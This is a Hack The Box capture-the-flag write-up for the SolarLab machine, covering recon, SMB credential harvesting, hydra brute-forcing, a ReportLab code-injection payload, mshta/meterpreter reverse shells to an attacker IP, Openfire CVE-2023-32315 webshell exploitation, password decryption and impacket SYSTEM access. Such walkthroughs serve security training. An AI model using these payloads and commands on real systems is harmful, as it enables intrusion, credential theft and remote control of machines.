Skip to content
HTB • CTF • SolarLab • Write-Up

HTB • CTF • SolarLab • Write-Up

Published: at 11:30 AM

Table of contents

Open Table of contents

INFO

CTF URL: https://app.hackthebox.com/machines/SolarLab

IP:10.10.11.16

Difficulty: Medium

Reconaisance

NMAP

nmap -p- -T4 10.10.11.16 -v
Discovered open port 139/tcp on 10.10.11.16
Discovered open port 80/tcp on 10.10.11.16
Discovered open port 445/tcp on 10.10.11.16
Discovered open port 135/tcp on 10.10.11.16
Discovered open port 6791/tcp on 10.10.11.16

nmap -p80,139,445,135,6791 -sS -sC -sV 10.10.11.16 -v
PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-title: SolarLab Instant Messenger
| http-methods: 
|_  Supported Methods: GET HEAD
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
|_clock-skew: -48s
| smb2-time: 
|   date: 2024-07-16T10:35:08
|_  start_date: N/A

adding solarlab.htb and report.solarlab.htb to /etc/hosts

WEB

Users:

Alexander Knight
Claudia Springer
Blake Byte

It is some unhackable messenger’s home page.

SMB

└─$ smbclient \\\\10.10.11.16\\Documents -N
smb: \> ls
  .                                  DR        0  Fri Apr 26 10:47:14 2024
  ..                                 DR        0  Fri Apr 26 10:47:14 2024
  concepts                            D        0  Fri Apr 26 10:41:57 2024
  desktop.ini                       AHS      278  Fri Nov 17 05:54:43 2023
  details-file.xlsx                   A    12793  Fri Nov 17 07:27:21 2023
  My Music                        DHSrn        0  Thu Nov 16 14:36:51 2023
  My Pictures                     DHSrn        0  Thu Nov 16 14:36:51 2023
  My Videos                       DHSrn        0  Thu Nov 16 14:36:51 2023
  old_leave_request_form.docx         A    37194  Fri Nov 17 05:35:57 2023

Downloaded a lot of files. Interesting details:

Username Password
[email protected] al;ksdhfewoiuh
KAlexander dkjafblkjadsfgl
[email protected] d398sadsknr390
blake.byte ThisCanB3typedeasily1@
AlexanderK danenacia9234n
ClaudiaS dadsfawe9dafkn

correct usernames

ClaudiaS
AlexanderK
BlakeB

the last one is derived.

port 6791

http://report.solarlab.htb:6791/ - login form

login

pass.lst

al;ksdhfewoiuh
dkjafblkjadsfgl
d398sadsknr390
ThisCanB3typedeasily1@
danenacia9234n
dadsfawe9dafkn
hydra -L users.lst -P pass.lst report.solarlab.htb http-post-form "/login:username=^USER^&password=^PASS^:F=User authentication error." -s 6791 -v
# result
[6791][http-post-form] host: report.solarlab.htb   login: BlakeB   password: ThisCanB3typedeasily1@

PDF Generator

an access to a dashboard with pdf generators is given to us. Found the following: https://github.com/c53elyas/CVE-2023-33733/blob/master/code-injection-poc/poc.py so lets get reverse shell

# set lport and run
msf6 exploit(windows/misc/hta_server) > 
[*] Started reverse TCP handler on 10.10.14.81:4321 
[*] Using URL: http://10.10.14.81:8040/V5MeHBdBENTo0Xo.hta
[*] Server started.

# the folloing should be executed on windows
mshta http://10.10.14.81:8181/zCPZIvWLnfc.hta

Prepare the payload


            <para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('mshta http://10.10.14.81:8181/zCPZIvWLnfc.hta') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>

Catch the request and alter the input field (that does not require char limit)

meterpreter > getuid
Server username: SOLARLAB\blake
meterpreter > cat Desktop\\user.txt 
283ba41090a704847ce1b8ed038df860

Enumeration

meterpreter > ls
Listing: c:\Users\blake\Documents\app
=====================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
040777/rwxrwxrwx  4096  dir   2024-07-16 11:02:37 -0400  __pycache__
100666/rw-rw-rw-  1278  fil   2023-11-17 02:59:44 -0500  app.py
040777/rwxrwxrwx  0     dir   2024-05-02 05:30:27 -0400  instance
100666/rw-rw-rw-  315   fil   2023-11-16 07:17:58 -0500  models.py
040777/rwxrwxrwx  0     dir   2024-07-16 10:43:17 -0400  reports
100666/rw-rw-rw-  7790  fil   2023-11-18 11:59:40 -0500  routes.py
040777/rwxrwxrwx  0     dir   2023-11-17 03:01:10 -0500  static
040777/rwxrwxrwx  4096  dir   2023-11-17 03:01:10 -0500  templates
100666/rw-rw-rw-  3352  fil   2024-05-02 11:26:05 -0400  utils.py

cat instance\\users.db 
�!!��+�9tableuseruserCREATE TABLE user (
        id INTEGER NOT NULL, 
        username VARCHAR(50) NOT NULL, 
        password VARCHAR(100) NOT NULL, 
        PRIMARY KEY (id), 
        UNIQUE (username)
����!)alexanderkHotP!fireguard'claudias007poiuytrewq 9blakebThisCanB3typedeasily1@
����!alexanderk
               claudias         blakeb

alexanderk - HotP!fireguard' claudias - 007poiuytrewq blakeb - ThisCanB3typedeasily1@

Not that interesting.

meterpreter > shell
Process 1836 created.
Channel 1 created.
Microsoft Windows [Version 10.0.19045.4355]
(c) Microsoft Corporation. All rights reserved.

c:\Users>net users
net users

User accounts for \\SOLARLAB

-------------------------------------------------------------------------------
Administrator            blake                    DefaultAccount           
Guest                    openfire                 WDAGUtilityAccount       
The command completed successfully.

some openfire user and program called the same

Listing: c:\Program Files
=========================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
...
040777/rwxrwxrwx  4096   dir   2023-11-17 07:22:02 -0500  Openfire
...

PrivEsc with openfire

Openfire is an instant messaging app. Lets hack it.

meterpreter > netstat

Connection list
===============

    Proto  Local address      Remote address    State        User  Inode  
    -----  -------------      --------------    -----        ----  -----  --------
    ...
    tcp    127.0.0.1:9090     0.0.0.0:*         LISTEN       0     0      3228/openfire-service.exe
    tcp    127.0.0.1:9091     0.0.0.0:*         LISTEN       0     0      3228/openfire-service.exe
    ...

first, lets forward port to local

#meterpreter> 
portfwd add -l 9090 -p 9090 -r 127.0.0.1

or https://github.com/jpillora/chisel/releases

# on kali
./chisel_1.9.1_linux_amd64 server --socks5 --reverse -p 3333
# on wind
.\chisel_1.9.1_windows_386 client 10.10.14.81:3333 R:90:127.0.0.1:9090

The version: Openfire, Version: 4.7.4

Next I found an exploit: https://github.com/miko550/CVE-2023-32315

python3 CVE-2023-32315.py -t http://127.0.0.1:9090
...
User added successfully: url: http://127.0.0.1:9090 username: 14t2rv password: 7952pc
1. Run exploit
2. login with newly added user
3. goto tab plugin > upload plugin `openfire-management-tool-plugin.jar`
4. goto tab server > server settings > Management tool
5. Access websehll with password "123"
6. **chose option system command 

Next we can get reverse shell (again with hta)

use exploit/windows/misc/hta_server
mshta http://10.10.14.81:8282/Hd0dKyP4sA.hta

PrivEsc to root

in C:\Program Files\Openfire\embedded-db\openfire.log

...
INSERT INTO OFPROPERTY VALUES('admin.authorizedJIDs','[email protected],[email protected],[email protected]',0,NULL)
...

in ......openfire.script

...
INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','[email protected]','001700223740785','0')
...
INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)

The password is encrypted.

java OpenFireDecryptPass.java  becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn 

ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)

ThisPasswordShouldDo!@

Lets try connect via smb:

impacket-smbexec administrator:'ThisPasswordShouldDo!@'@solarlab.htb

Impacket v0.11.0 - Copyright 2023 Fortra


[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>
C:\Windows\system32>whoami

nt authority\system

Finally, I again got the meterpreter shell and moved to Administrator’s Desktop

meterpreter > cat root.txt 
bd73ecb598620827a239ce0c9643c956

Result